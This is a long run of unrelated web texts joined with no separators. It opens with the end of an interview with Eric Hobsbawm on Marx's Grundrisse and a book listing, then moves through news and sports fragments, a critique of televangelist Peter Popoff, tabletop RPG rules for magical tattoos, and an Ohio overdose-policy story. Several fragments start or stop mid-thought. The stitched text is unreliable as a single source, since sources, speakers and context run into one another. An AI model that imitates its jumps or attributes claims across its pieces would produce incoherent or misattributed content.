E. H. In my view the Grundrisse have made so large an international impact on the Marxian intellectual scene for two connected reasons. They were virtually unpublished before the 1950s, and, as you say, contained a mass of reflections on matters that Marx did not develop elsewhere. They were not part of the largely dogmatised corpus of orthodox Marxism in the world of Soviet socialism, yet Soviet socialism could not simply dismiss them. They could therefore be used by Marxists who wanted to criticise orthodoxy or widen the scope of Marxist analysis by an appeal to a text which could not be accused of being heretical or anti-Marxist.
Hence the editions of the 1970s and 1980s (well before the fall of the Berlin Wall) continued to provoke debate largely because in these manuscripts Marx raised important problems which were not considered in Capital, for instance, the questions raised in my preface to the volume of essays you collected [Karl Marx's Grundrisse. Foundations of the Critique of Political Economy 150 Years Later, edited by M. Musto, London — New York : Routledge 2008; http://www.routledgeeconomics.com/books/Karl-Marxs-Grundrisse-isbn9780415437493].
M. M. In the preface to this book, written by various international experts to mark the 150th anniversary of its composition, you have written: "Perhaps this is the right moment to return to a study of the Grundrisse less constricted by the temporary considerations of leftwing politics between Nikita Khrushchev's denunciation of Stalin and the fall of Mikhail Gorbachev". Moreover, to underline the enormous value of this text, you stated that the Grundrisse "contains analyses and insights, for instance about technology, that take Marx's treatment of capitalism far beyond the nineteenth century, into the era of a society where production no longer requires mass labour, of automation, the potential of leisure, and the transformations of alienation in such circumstances. It is the only text that goes some way beyond Marx's own hints of the communist future in the German Ideology. In a few words, it has been rightly described as Marx's thought at its richest." Therefore, what might be the result of re-reading the Grundrisse today?
E. H. There are probably not more than a handful of editors and translators who have full knowledge of this large and notoriously difficult mass of texts. But a re-rereading, or rather reading, of them today could help us to rethink Marx: to distinguish what is general in Marx's analysis of capitalism from what was specific to the situation of mid-nineteenth-century "bourgeois society". We cannot predict what conclusions from this analysis are possible and likely, only that they will certainly not command unanimous agreement.
M. M. To finish, one final question. Why is it important today to read Marx?
E. H. To anyone interested in ideas, whether a university student or not, it is patently clear that Marx is and will remain one of the great philosophical minds and economic analysts of the nineteenth century and, at his best, a master of passionate prose. It is also important to read Marx because the world in which we live today cannot be understood without the influence that the writings of this man had on the twentieth century. And finally, he should be read because, as he himself wrote, the world cannot be effectively changed unless it is understood -- and Marx remains a superb guide to understanding the world and the problems we must confront.
[This article first appeared at http://www.zcommunications.org/znet/viewArticle/18828. It has been posted with permission.]
About Karl Marx’s Grundrisse: Foundations of the critique of political economy 150 years later
Edited by Marcello Musto
Price: $130.00
ISBN: 978-0-415-43749-3
Binding: Hardback
Published by: Routledge
Publication Date: 25th July 2008
Pages: 320
About the Book
Written between 1857 and 1858, the Grundrisse is the first draft of Marx’s critique of political economy and, thus, also the initial preparatory work on Capital. Despite its editorial vicissitudes and late publication, Grundrisse contains numerous reflections on matters that Marx did not develop elsewhere in his oeuvre and is therefore extremely important for an overall interpretation of his thought.
In this collection, various international experts in the field, analysing the Grundrisse on the 150th anniversary of its composition, present a Marx in many ways radically different from the one who figures in the dominant currents of twentieth-century Marxism. The book demonstrates the relevance of the Grundrisse to an understanding of Capital and of Marx’s theoretical project as a whole, which, as is well known, remained uncompleted. It also highlights the continuing explanatory power of Marxian categories for contemporary society and its present contradictions.
With contributions from such scholars as Eric Hobsbawm and Terrell Carver, and covering subject areas such as political economy, philosophy and Marxism, this book is likely to become required reading for serious scholars of Marx across the world.
Reviews
Table of Contents
"This volume promises to be required reading for all serious students of Marx" Simon Clarke (University of Warwick, UK)
1. Prologue
2. Foreword, Eric Hobsbawn
Part I. Grundrisse: Critical Interpretations
3. History, Production and Method in the 1857 'Introduction' to the Grundrisse, Marcello Musto
4. The Concept of Value in Modern Economy. On the Relationship between Money and Capital in 'Grundrisse', Joachim Bischoff and Christoph Lieber
5. Marx Conception of Alienation in 'Grundrisse', Terrell Carver
6. The Discovery of the Category of Surplus value, Enrique Dussel
7. Historical Materialism in 'Forms which precede Capitalist Production', Ellen Meiksins Wood
8. Marx's 'Grundrisse' and the Ecological Contradictions of Capitalism, John Bellamy Foster
9. Emancipated Individuals in an Emancipated Society. Marx's Sketch of Post-Capitalist Society in the 'Grundrisse', Iring Fetscher
10. Rethinking 'Capital' in Light of the 'Grundrisse', Moishe Postone
Part II. Marx at the time of Grundrisse
11. Marx's life at the time of the 'Grundrisse'. Biographical notes on 1857-8, Marcello Musto
12. The First World Economic Crisis: Marx as an Economic Journalist, Michael R. Kratke
13. Marx's 'Books of Crisis' of 1857-8, Michael R. Kratke
Part III. Dissemination and reception of Grundrisse in the world
14. Dissemination and Reception of the 'Grundrisse' in the world. Introduction, Marcello Musto
15. Germany and Austria and Switzerland, Ernst Theodor Mohl
16. Russia and Soviet Union, Lyudmila L. Vasina
17. Japan, Hiroshi Uchida
18. China, Zhongpu Zhang
19. France, Andre Tosel
20. Italy, Mario Tronti
21. Cuba and Argentina and Spain and Mexico, Pedro Ribas and Rafael Pla
22. Czechoslovakia, Stanislav Hubik
23. Hungary, Ferenc L. Lendvai
24. Romania, Gheorghe Stoica
25. USA and Britain and Australia and Canada, Christopher J. Arthur
26. Denmark, Birger Linde
27. Yugoslavia, Lino Veljak
28. Iran, Kamran Nayeri
29. Poland, Holger Politt
30. Finland, Vesa Oittinen
31. Greece, John Milios
32. Turkey, E. Ahmet Tonak
33. South Korea, Hogyun Kim
34. Brazil and Portugal, Jose Paulo Netto
About the Author
While officially at least, the government maintains it is working in the normal way towards a May 10 budget, Fairfax Media has been told a series of alternative logistical arrangements are being put in place for a late switch to May 3, among which is the reservation of Parliament House's Great Hall.
An inquiry to Parliament House regarding the hall's availability that night confirmed it had been "reserved" although it did not reveal the identity of the person making that reservation.
On the bright side, Ben and Chad also spend some time discussing last weekend’s TUF: Latin America season 3 live finale, including Tony Ferguson’s rad win over Rafael dos Anjos and Diego Sanchez’s victory over Marcin Held. There is also some talk of Phil Davis taking the Bellator light heavyweight title from Liam McGeary. Since those fights have already happened, they can’t be wrecked by the curse, so at least you have that to look forward to.
All, that, plus JSS and AYFKM.
Test your knowledge and memory using our quiz below! 12 quotes will appear - simply click on the picture corresponding to the driver you think said it over team radio.
Don't worry if you get the answer wrong first time around, but the quicker you get it right, the more points you'll score.
Don't miss the Belgian GP live on Sky Sports F1 on August 27 - lights out for the race is at 1pm. Check out all the ways to watch F1 on Sky Sports for subscribers and non-subscribers - including a NOW TV day pass for £6.99!
PITTSBURGH (KDKA) — Bike lanes in the city of Pittsburgh continue to be a source of controversy. Some loving them and other hating them, but the plan for Mayor Bill Peduto’s latest addition may be in jeopardy.
While bike lanes are the tip of this sword, Mayor Peduto made it clear that his beef with PennDOT District 11 is nothing new.
“There have been things that have occurred where, unilaterally, the local district has been making decisions, and not really working as well with the community as they could be,” the mayor said.
Before calling Gov. Tom Wolf about the issue Wednesday, the mayor pointed to the bike lanes as a point of contention.
“There has been concern over the bike lane and taking it off of First Avenue and putting it onto, potentially, part of it onto the Boulevard of the Allies where there’s more space,” Mayor Peduto said.
PennDOT responded saying in a statement:
“The city applied and was selected for funding through the SPC to place bike lanes on Fort Pitt Boulevard.”
But, then, complaints came in from Fort Pitt Boulevard businesses that it would wipe out their parking. So, the city shifted to the Boulevard of the Allies.
But PennDOT points out:
“At this point, bike lanes have never been studied on the Boulevard of the Allies due to the city’s selection of Fort Pitt Boulevard… as well as, the boulevard’s use as the alternate route for the Parkway East.”
The mayor responded on Friday saying, “Folks at PennDOT locally have said that they don’t want it there because it’s an entrance to a parkway, but so is Fort Pitt Boulevard.”
But the mayor says it goes beyond bike lanes.
“The poles that are being used in Downtown and on Butler Street in Lawrenceville, after two years of community meeting, and highway poles get put into a neighborhood business district, you wouldn’t see that in Mount Lebanon,” Mayor Peduto said.
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The mayor talked to Gov. Wolf about the issue and said, “We’ll be going up to Harrisburg to have some meetings to discuss how to better work with the local district here.”
Gov. Wolf’s office released this statement to KDKA on the matter:
“The governor remains committed to our shared goals of improving infrastructure and public spaces in the city.”
PennDOT District 11 released another statement, saying:
Mitch Austin left the game with a second yellow card in the 24th minute and Victory - seventh heading into round five with two losses and two draws - quickly found themselves a goal down.
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It looked like the Wanderers by how many after Oriol Riera's deft header found the back of the net in the 32nd minute and a penalty was awarded after Rhys Williams brought down Jumpei Kusukami.
But Lawrence Thomas saved Riera's penalty kick just before the break and Thomas Deng equalised soon after the restart in a spirited display in front of 21,577 fans that could prove a turning point.
"There was a lot more than character shown tonight.... There was some great determination and there was some good football - some real good football," Muscat said.
"The way they executed what was asked of them to get us back into the game, to get an ascendancy, I thought was outstanding.
"There were a number of players who had very good days.
"And on top of that they showed some good character.
"I thought it was an unbelievable effort."
But while Muscat lavished his players with praise, his mood quickly changed when quizzed about the way the game was officiated.
The coach felt the penalty call was "very soft" and took issue with the strict interpretation of the rules that saw Austin red-carded and five more of his players shown a yellow.
"I just want the rules to be the same for everyone every week in every game," he said.
"The players don't know where they stand because of the difference in refereeing from one week to another."
Wanderers caretaker coach Hayden Foxe hands over the reins to Josep Gombau with the side fourth on the ladder and unbeaten at the end of his five-match tenure.
Gombau was in the stands to watch the frustrating display from the team he will officially take charge of on Tuesday.
"I'm gutted - that's two points lost without doubt," Foxe said.
"We had total control of that match and we let it slip.
Time to deliver on promises
In a note to the participants of the Bonn talks, the President of the Paris COP21, French Environment Minister Segolene Royal, and the incoming President of COP22 Morocco's Foreign Minister Salaheddine Mezouar, stress it is time for a shift "from a focus on negotiation to a focus on implementation and cooperation."
The Paris Agreement was hailed as a breakthrough.
The challenge ahead, they say, is to "operationalize the Paris agreement: to turn intended nationally determined contributions into public policies and investment plans for mitigation and adaptation and to deliver on our promises."
There is no lack of evidence to support the urgent need for faster action on climate change. An increasing number of extreme weather events are being attributed to climate change. The CO2 concentration in the atmosphere is climbing steadily and is likely to cross the critical 400 ppm mark permanently in the not-too-distant future. The global temperature is already 1 degree Celsius higher than it was at the onset of industrialization. That means very rapid action is needed to keep to the agreed target of limiting global warming to 2 degrees Celsius and preferably keeping it below 1.5 degrees Celsius.
The two-degree target
The Paris agreement was hailed widely as a breakthrough, with all parties finally accepting the need to combat climate change by reducing emissions of greenhouse gases. Countries have put pledges on the table, outlining their emissions reduction targets. But so far, the reductions pledged would still take the world closer to a 3-degree Celsius temperature rise.
Although many scientists are alarmed at the slow pace of emissions reductions, Hoesung Lee, chief scientist at the Intergovernmental Panel on Climate Change (IPCC), told the Guardian this week that it is still possible to keep to the 2-degree target.
Some of the Solomon Islands have already vanished below rising seas.
The current UN climate chief Christina Figueres, who will hand over her leadership to Mexican Patricia Espinosa later this year, has said emissions would have to peak by 2020 if the limit is to be kept to. But Lee is keen to keep the options open, saying it would still be possible to keep to the limits if emissions peaked later. But he warned the costs could be "phenomenal." He believes expensive and controversial geoengineering methods may be necessary to remove CO2 from the atmosphere and store it.
Aid for vulnerable countries
A report published this week by the United Nations Environment Programme (UNEP) says the cost for assisting developing countries to adapt to climate change could reach up to 500 billion dollars annually by 2050. This is five times higher than previous estimates, the report says.
UNEP has urged countries to channel more funds towards adaptation, saying the costs would rise "sharply" even if countries succeed in limiting global temperature increase to 2 degrees Celsius.
Mattias Soederberg, co-chair of the ACT Alliance Climate Change Advisory Group, told DW that the UNEP report, along with the alarming news about islands disappearing under rising seas in the Pacific, highlights the urgent need for action. "Climate change is not a matter of tomorrow, but a crisis we need to deal with today," he said.
No success without ratification
Many countries signed in New York, but few have ratified.
So far, 177 parties have signed the Paris agreement. But only 16 parties have ratified the treaty. It must be ratified by 55 parties representing 55 percent of total global emissions to be able to enter into force.
Soederberg called on wealthy, industrialized countries to move ahead with ratification. "I am happy to see many of the poor and vulnerable countries moving fast with their ratification, and I hope other countries will follow soon. I am worried about the EU, which seems to be delayed," he said, adding that the EU could find itself on the sidelines.
Soederberg says refugees and migration have become a growing concern for many countries with increased interest at the climate talks in tackling the issue of compensation for loss and damage from climate change.
NGO representatives stress that the Bonn talks can only help kick off the series of measures necessary to halt global climate change. Greenpeace climate policy chief Martin Kaiser told DW, the main work had to be done within the countries themselves which have to work out their timetables to reach the goals agreed to in Paris. That means an early transition to a fossil-free future. Kaiser called on host country Germany in particular, often cited as a model for its shift to renewable energy, to come up with a binding exit strategy for coal by 2030.
"Without an exit from coal, Germany's signature under the Paris agreement is worthless," he said.
The Delonis Center homeless shelter in downtown Ann Arbor.
(Katie McLean | The Ann Arbor News)
As temperatures plunged below zero last winter, the Delonis Center homeless shelter in downtown Ann Arbor found its emergency overnight warming center in high demand. On several nights, the number of people who came through the doors seeking warmth was nearly double the 50 people the space can appropriately accommodate, the shelter reported. Different from the 75-bed residential program the shelter operates year-round, the seasonal overnight warming center consists of laying down mats on the shelter's cafeteria floor for those who want to escape the cold and rest up for the night before going back on the streets. As local officials make plans to
more attention is being given to the fact that Ann Arbor has become a place where other southeast Michigan communities bring their homeless. Local officials say the problem only seems to be getting worse, causing overcrowding issues for the Delonis Center. "All we're trying to say is it's wrong for other jurisdictions or institutions in other jurisdictions to just dump people here or encourage people to come here when they don't know that there's a place here for them," said Ellen Schulmeister, executive director of the Shelter Association of Washtenaw County, which runs the Delonis Center.
Ellen Schulmeister, executive director of the Shelter Association of Washtenaw County, which runs the Delonis Center.
Schulmeister said hospitals, churches and even police from other communities have been transporting homeless people, including those with mental health and substance abuse problems, to the Delonis Center in Ann Arbor. When the shelter conducted a count this past February, it found half the people at the overnight warming center were not from Washtenaw County. Through all last winter, 230 people who used the overnight warming center -- about 38 percent -- were not county residents, the shelter reported. Counting both the residential program and the warming center, 35 percent of the people served by the Delonis Center last fiscal year were not county residents, Schulmeister said, noting that's up from 25 percent a few years ago. In all, there were 605 people who stayed at the overnight warming center last winter, which is up from 432 two winters ago, and 373 three winters ago. Schulmeister said there's a seasonal increase in homeless people from other jurisdictions being dropped off in Ann Arbor in the winter months. "Two separate hospitals in Detroit have cabbed people here," she said, adding she's also aware of a church in Westland that has filtered many people to the shelter. Schulmeister said the church put six people in a van one night, dropped them off at the door of the shelter at 9 p.m., and then drove away. "We called them the next day and said, 'What the heck are you doing?' They said, 'Well, they're better off on the streets of Ann Arbor than they are on the streets of Westland, even if they don't have shelter,' which is ridiculous," Schulmeister said.
A homeless encampment under a bridge along the Huron River in Ann Arbor as seen on Thursday, Nov. 13, 2014.
"They even went as far to say, 'OK, we won't drive them there anymore. We'll just give them a bus ticket and you won't know where they came from.' That, to me, is outrageous that somebody would do that." Schulmeister said sometimes people have legal issues they need to resolve in other communities, and trying to do so while homeless in Ann Arbor is a formidable task. "Many people come without appropriate clothing or medications," Schulmeister said, adding it's a real challenge to serve those people. "Natural support systems such as friends and family are also not accessible when someone is geographically transported out of their community," she said. "We end up having to spend more of our resources to resolve homelessness in these cases, including transporting people back to their community." The situation has gotten to the point where local officials have had discussions about instituting a policy of serving only Washtenaw County residents at the Delonis Center. It's an idea John Hieftje, Ann Arbor's recently retired mayor, has brought up on multiple occasions, including at his last meeting on Nov. 6. Hieftje said the shelter was paid for by the people of Washtenaw County and thrives on contributions from people in the community who have an expectation that it's going to be taking care of people from Washtenaw County for the most part. If the percentage of non-county residents staying at the shelter continues to climb, Hieftje said, he's not sure there are many other options. "Our community can certainly not solve the homeless issue on its own, because the better we get at it, it appears that more people will come," he said. "We need to make sure we can take care of the people of Washtenaw County." The Delonis Center has an annual budget of about $2.5 million, and $175,000 comes from the state with the stipulation that the shelter can't deny service to people from other jurisdictions. So, if the shelter were to institute a policy saying it only was going to serve people from Washtenaw County, that $175,000 could go away. Schulmeister said people coming from outside of Washtenaw County and seeking placement in the Delonis Center's residential program will be placed on the wait list, but the shelter does give some preference to county residents. "If we have people from Washtenaw County, we're going to serve them first," Schulmeister said. "And to me, that's our job, because 94 percent of the money we get is local donations or locally controlled money. So if that's our budget and that's who's paying for us, that's who we should be serving." About 53 percent of the shelter's funding comes from private donations and local foundations, while 22 percent comes from local government, 13 percent from federal sources, and 12 percent from the state. For now, Ann Arbor officials are trying to use their lobbyist, Kirk Profit, to open doors in Lansing and convince state officials to step up and help other communities in southeast Michigan adequately serve their needy populations. "We need to do what we can to encourage the state to expand human services throughout the region," said Christopher Taylor, Ann Arbor's new mayor. "The best solution is to have the state and other jurisdictions step up and do what needs to be done to take care of people in need," Taylor said, adding it's not Ann Arbor's role to be the human services provider for southeast Michigan. "Caring for the needy among us is an important community value here in Washtenaw County and Ann Arbor. We, as a consequence, devote considerable resources to human services, and this is right and proper," Taylor said of the $1.24 million the city gives annually to nonprofit human service providers, money that is matched by millions of additional dollars from the county, United Way and other groups. "Neighboring jurisdictions in the state have not made human services the same priority, and as a consequence, we attract people in need and serve as a pressure valve for other jurisdictions," Taylor said. "This is not fair to the residents of Washtenaw County." Ann Arbor City Council Member Jane Lumm, an independent from the 2nd Ward, shares the same concerns. "We are accepting responsibility and have been for these other communities that have not been stepping up to the plate the way Ann Arbor has and that cannot continue," Lumm said, agreeing that the Delonis Center's donors want to help people from Washtenaw County, and the shelter's ability to do that is being undermined. "We're all ready to roll up our sleeves and do whatever we can to reach out to these other communities and apply the necessary pressure to open those doors," she said. Schulmeister said it's a very sensitive subject and she doesn't blame the people who are coming here from other communities. She said they deserve help, but the Delonis Center only has room and resources for so many people. "It's really the inhumane dumping of people that I am more concerned with than anything else, and the fact that we are here primarily for Washtenaw County," she said. "When a hospital puts somebody in a cab to a shelter, and they have no idea whether there's a bed there or not, that is unconscionable." Schulmeister said the Delonis Center isn't going to turn people away on a freezing night just because they're from another community. She said the shelter might let them stay the night and then try to find a better place for them the next day. "When somebody comes here, they need to be evaluated to see if we can help them or not," she said. "If we can't help them and it's ill-advised for them to be here, we should offer to help them to reconnect to where they were." Schulmeister said there are some people who come here from other places and think of the Delonis Center as a free hotel they can stay at until they establish themselves, but they have no clue how expensive it is to live in Ann Arbor. "Lots of people see that Ann Arbor has the lowest unemployment rate, so they come to get a job," she said. "But then when they get a job, they find out they can't find housing, so it's like a moot point. And you can't stay at the shelter forever. So there's lots of stuff about Ann Arbor that people don't know." Making a case for investing more public money in affordable housing, Hieftje offered his own assessment at his last meeting earlier this month. "Ann Arbor suffers from the same thing that many communities that are similar suffer from," he said. "If there's a high demand for people to live in your community, you are going to have high housing prices, and that's very hard to avoid."
You can find him doing his stuff at 3am on Channel Nine:
God has used Reverend Peter Popoff throughout his entire life and ministry to bring miraculous deliverance to hundreds of thousands of people around the world. — Channel Nine, 'Peter Popoff Ministries', 21st April, 2009
It's not clear - and the Nine Network wouldn't tell us - whether Peter Popoff is paying to have his half-hour message aired.
But whether he is, or he isn't, it's clearly an exercise in spruiking a product: "miracle spring water":
We're going to share the miracle spring water with you. And I'm going to tell you how a Russian pastor found the miracle spring water, not on his own but through divine leading and direction and God miraculously spared, prospered, delivered him and God wants to do the same for you as you use the miracle spring water. — Channel Nine, 'Peter Popoff Ministries', 21st April, 2009
And as you can see, this miracle water is ABSOLUTELY FREE!
Which is clever of the Reverend Popoff. Because if he were selling you the miracle water, which he says has the power to transform your life, he'd be engaging in trade or commerce.
And under the Trade Practices Act, a person or corporation...
...must not, in trade or commerce, engage in conduct that is liable to mislead the public about the nature...of any services — Trade Practices Act 1974, section 75
Read section 75 of the Trade Practices Act 1974.
Peter Popoff has form.
Back in the early 80's, he was a celebrated faith healer, who miraculously knew the names and addresses of individuals scattered through his congregations...
Peter Popoff: 1627 10TH Street, is that right? Audience member: That's right! — Youtube web video
And without asking, he knew their ailments too...
Peter Popoff: Burning this arthritis right out of your body. Take a few steps just to make the devil mad, hallelujah — Youtube web video
But, thanks to the detective work of an American sceptic called James Randi, the hoax was exposed - on camera:
Elizabeth Popoff: Jodi Dean. Jodi Dean Peter Popoff: Jodi...Dean? Jodi Dean? Elizabeth Popoff: No, she should be right there on your right side. Ok. She lives at 4267 Masterson... Peter Popoff: 4267 Masterson? I can see the angels of God all around your house... — American Broadcasting Corporation, Inside Edition, web video, February 2007
The female voice was that of Peter Popoff's wife Elizabeth, prompting him via a wireless earpiece from information she'd garnered before the service.
Shortly after that was aired on national TV, Popoff filed for bankruptcy.
But for the last decade he and Elizabeth have been back in the game.
Matt Meagher: According to tax returns, Popoff's Ministry took in more than $23million in 2005... — American Broadcasting Corporation, Inside Edition, web video, February 2007
In February 2007, reporter Matt Meagher, of the US TV program Inside Edition, described how Popoff made his money...
Matt Meagher: Our miracle water came with what Popoff calls a bag of sacred Dead Sea salt. I'm supposed to sprinkle it over a cheque, made out to Popoff, for $27 dollars... As for the miracle water, I'm supposed to drink it, wait five days, and I'll be blessed with riches. Of course I'm supposed to send Popoff another cheque. — American Broadcasting Corporation, Inside Edition, web video, February 2007
And once the demands started, they didn't stop.
As Peter Popoff knows, the world is full of desperate and gullible people.
The Western Australian Department of Commerce runs a website called ScamNet.
It pulls no punches about Peter Popoff:
There is nothing more evil then using people's faith to line your own pockets! — WA ScamNet psychic scam
In the UK, the Advertising Standards Authority banned Popoff's infomercials two years ago.
But in Australia, so far, the regulators have done nothing.
Perhaps because it's not clear which regulator should act. If Popoff is paying Nine, it's an advertisement, and should comply with the Australian Advertisers' Code of Ethics, which says:
Advertising or Marketing Communications shall not be misleading or deceptive or be likely to mislead or deceive. — AANA Code of Ethics, section 1.2
Read the AANA Code of Ethics.
If Popoff isn't paying Nine, but just giving this guff to the Network for free, it becomes a program.
In fact Nine has the gall to refer to it as:
Peter Popoff Religious program — Channel Nine online schedule
Religious program! I prefer what ScamNet calls it - a:
psychic scam. — WA ScamNet psychic scam
We know of one Australian network that's refused to put Peter Popoff to air.
Midfielder De Rossi does not know if Juventus will suffer a dip in form, but the Italy international is hoping his side can capitalise should an opportunity arise.
"I don't know if Juventus will start to drop points now or if it'll be a spectacular end to the season, but we just need to win and hope they and (third-placed) Napoli drop points," De Rossi told Rai Sport.
"You can tell it's a good season from lots of little things - in the summer with those who arrived; winning the derby in week four; the fundamental victory in Udinese; the run of results after our defeat (to Juventus) in Turin.
"It is already impressive that we are so close to a team that was constructed to destroy all competition in the league."
Roma's lofty standing represents a far cry from last season when they stumbled their way to sixth position.
On the Bologna win, De Rossi added: "We sent out a message that this is a completely different Roma.
"In the past these games have been turning points and we tended to fall apart, but not this time.
In Glorantha, Tattoos are a common form of self adornment. Sartarites and other Lightbringers often mark themselves with the runes of their god or gods. Many mercenaries, whether they are devoted Humakti or not, sport a death rune as a sign of fellowship in the the life of Arms. Yelmalians, especially those who travel beyond their staid home environment, might adopt Sky sigils. And many cults within the cosmopolitan Lunar Empire advertise their allegiance with body paint or tattoos.
So here is everything you need to add Magical Tattoos to your game.
Runic Tattoos
Many cults, among them Lightbringers and others, favor tattoos as personal adornment as well as a way to demonstrate an individual’s dedication to a particular deity or spirit, or even to a Runic concept. What follows is a simple system for d100 games to make those tattoos work for you.
There are advantages to magical Tatoos, like always having them with your, and the fact that they do not occupy INTelligence slots they way that other spells do. They also cost less than most spell teaching. There are also disadvantages, in that they are always with you, which can get you into trouble. Having all the Runes for Orlanth tattooed prominently on your person is a really effective way to attract the attention of the Lunar constabulary, for example. They also cost POWer to create, drawn form the subject. But if your character has power to burn, they can be well worth it.
Also, with your shiny new tattoos, you will be the envy of all the other cultists.
The Skill:
Magical Tattooist (Staring percentage: POW+CHA): You have the ability not only to create compelling and artistic tattoos, but to imbue them with temporary magical power. You must use specially prepared and ritually consecrated inks and tools when you do so. It takes you 1d6 hours per point you dedicate to the tattoo, which can be done in one sitting, or over the course of several.
Magical Tattooing:
The ability to enchant your tattoos is limited by the level in the Magical Tattooing skill. At 50% or less, the artist is capable only of imbuing Magic Points that the owner of the tattoo can use as her own for spellcasting purposes. These Magic Points come from the subject (or the tattooist if he is willing) receiving the tattoo, are dedicated to the tattoo, and the subject’s POWer immediately is permanently reduced by the same amount.
The artist can imbue up to 1 Magic Point per full 25% in this skill. Magic Points imbued in a tattoo are stored POWer, just as they would be in a POWer Storage Crystal. When the Magic Points are expended, the subject can “refill” the tattoo with her own POWer, simply by casting Magic Points into the tattoo. Magic Points spent in this way return at the normal rate.
More expert Magical Tattooists can accomplish greater feats than imbuing Magic Points.
A Tattooist of sufficient Skill (75% or higher) has attained sufficient understanding of a number of Runes that she can imbue Aspects into her work. For each full 25% you have in Magical Tattooing, you understand one Rune sufficiently well to imbue Aspects from it (so a tattooist with Skill 77% would understand 3 Runes, and comprehend a new one at 100%).
Runic Aspects
Each Rune has one or more aspects, which a tattooist can access. The Fire/Sky Rune has aspects like Fire, Flight, Light, but also Purity and Truth. The Death Rune has the obvious aspect of Death itself, but also could include Relentlessness, Resolution in the face of adversity, or Fate.
For each full 25% you have over 50%, you can imbue a Runic Aspect along with, or instead of, increasing the Power Storage. Each Runic Aspect imbued requires 1 permanent POW.
The level of an imbued Aspect is equal to 1 for each full 25% over 50%. So Rank 1 at 75, Rank 2 at 100%, etc.
Runic Aspects in Play
A single rank of a Runic Aspect can be imbued to do any of the following things when activated.
Enable the Subject, or a weapon she wields, to inflict one point of bonus damage of a type associated with the Aspect (Fire damage for the Fire/Sky Rune, etc).
Act as one point of a spell associated with that Rune. If a spell has a casting cost of more than one (and is not a variable spell), the rank of the Aspect must be at least that high.
Grant 1 permanent Point of Armor to the tattooed Hit Location.
Grant 1 permanent Bonus Hit Point to the tattooed Hit Location.
Grant a Skill Bonus of 10% per rank to a skill that matches that Aspect (Darkness > Stealth, Life > Treat Disease, etc).
In addition to one of the above, any Runic Aspect can be used defensively:
Acting as Countermagic against an opposing Aspect to the one imbued. For example, an Death Rune tattoo for Resoluteness could oppose a Demoralize spell as effectively as Countermagic.
Activating a Magical Tattoo
The Subject is the only person who can activate, or benefit from a magical tattoo, and may only do so in the way set out by the tattooist at the time of the tattoo’s application. Magical Tattoos work just as spells do, and require a casting action. Casting requires a POW x5% to succeed. On a Fumble result, the tattoo has been exhausted or has been damaged sometime in the past, and must be repaired by a Magical Tattooist before it can be used again.
The spells or effects imbued into a Magical Tattoo do not occupy spell slots in the Intelligence of the Subject, and Subject need not know the spell so imbued. If the Subject does know a spell essentially the same as the one imbued in a tattoo, the levels of the Tattoo add levels to his spell equal to the Rank of the Aspect.
Marchman tweeted:
Unsurprising that not one Ted Cruz-supporting cuck/Twitter user is willing to face me in the UFC octagon. — Tim Marchman (@timmarchman) January 25, 2017
This flexing of the Twitter muscles brought about a response from conservative UFC fighter, Ranger/Special Forces operator, and sniper Tim Kennedy who happily accepted the challenge:
I’m your huckleberry. I also take note that you are a pathetic cyber bully. My email is tim@rangerup.com I’m available at your leisure. https://t.co/6AS3qAllXV — Tim Kennedy (@TimKennedyMMA) January 25, 2017
Of course, Kennedy’s challenge went unanswered by the suddenly humbled Marchman. Now, Kennedy is sharing the exact nature of his fighting offer to Marchman, and on Tuesday night he did just that:
After an email with @timmarchman I offered the these fight options:
1. 1 arm tied behind my back.
2. I’m in a sumo suit.
3. 10-1 punch off. pic.twitter.com/2jQnfFYWlG — Tim Kennedy (@TimKennedyMMA) February 7, 2017
So, even with the promise of the proceeds to charity, and with Kennedy offering to endure ten punches to every punch from him, not to mention the extreme indignity of having to appear publicly in a sumo suit, Marchman still refused to answer the bell for a fight that he asked for.
Sad!
But don’t assume this means you’ll be getting Mario on your mobile phone anytime soon.
The patent covers not only emulation on mobile devices, but computers, airline seat entertainment, and more. Sure, this could mean that Nintendo is prepping to jump ship and start offering classic games on non-Nintendo devices, but it’s all the more likely that this is their way of stamping out the emulation problem that’s run rampant on smartphones.
Type “Gameboy Emulator” into the Google Play search box and you’ll see what I mean. And while it wasn’t as easy to access, GBA4iOS was something of a phenomenon in iPhone gaming circles earlier this year. If you’re Nintendo, and you’ve already gone on record as wanting to increase your presence on mobile phones, you’re going to want to see problems like these squashed.
NeoGAF also points out that, while filed in 2014, this is based on an earlier application from 2003 — which if you know your gaming history (or are simply in your thirties), you’ll remember as a much darker time for Nintendo. The Nintendo DS didn’t launch until 2004, and its success is largely seen as the turnaround point for a then-struggling company. Competitor SEGA has just closed up it’s console business and gone third-party, and people were left wondering if Nintendo would do the same.
In other words, it’s possible that in 2003 they were much more interested in selling old GameBoy games on the backs of airline seats and on feature phones than they are now, but much of the wording in that original patent application could help protect their interests today.
Or, I could be wildly wrong, and Nintendo will open up an eShop on Google Play any day now. I suppose anything could happen.
As we have noted numerous times, the epidemic is ravaging populations across racial and socioeconomic lines, according to The Post's Joel Achenbach and Dan Keating. Spurred by overdoses, the death rate for Americans rose 8 percent between 2010 and 2015.
And Ohio and other Rust Belt states are at the center of the epidemic. Opioid-related deaths in Ohio jumped from 296 in 2003 to 2,590 in 2015 — a 775 percent jump, according to the Ohio Department of Health.
There's also an economic toll: One study estimated that the cost of the prescription drug opioid epidemic costs American society $78.5 billion.
And one Ohio city council member has a solution...
As The Washington Post reports, under a new plan, people who dial 911 seeking help for someone who's overdosing on opioids may start hearing something new from dispatchers: “No.”
In response to the opioid epidemic that swept the nation — including the small city of Middletown, population 50,000 — council member Dan Picard has floated an idea that has been called more of “a cry of frustration” than a legitimate solution. At a council meeting last week, Picard proposed a three-strikes-style policy for people who repeatedly overdose: Too many overdoses and authorities wouldn't send an ambulance to resuscitate them. Picard told The Washington Post that he sympathizes with anyone who has lost someone to drug abuse, but said that responding to an ever-increasing number of overdose calls threatens to bleed his city dry. “It’s not a proposal to solve the drug problem,” Picard said this week. “My proposal is in regard to the financial survivability of our city. If we’re spending $2 million this year and $4 million next year and $6 million after that, we’re in trouble. We’re going to have to start laying off. We're going to have to raise taxes.”
The proposal also calls for the city to create a database of overdose victims who paramedics have responded to.
“We'll have that list and when we get a call, the dispatcher will ask who is the person who has overdosed,” Picard said. “And if it's someone who has already been provided services twice, we'll advise them that we're not going to provide further services — and we will not send out an ambulance.”
Solutions, Picard told The Post, require out-of-the-box thinking.
Still, he said he has received dozens of angry emails, phone calls and Facebook messages as news of his proposal spread.
Background [ edit ]
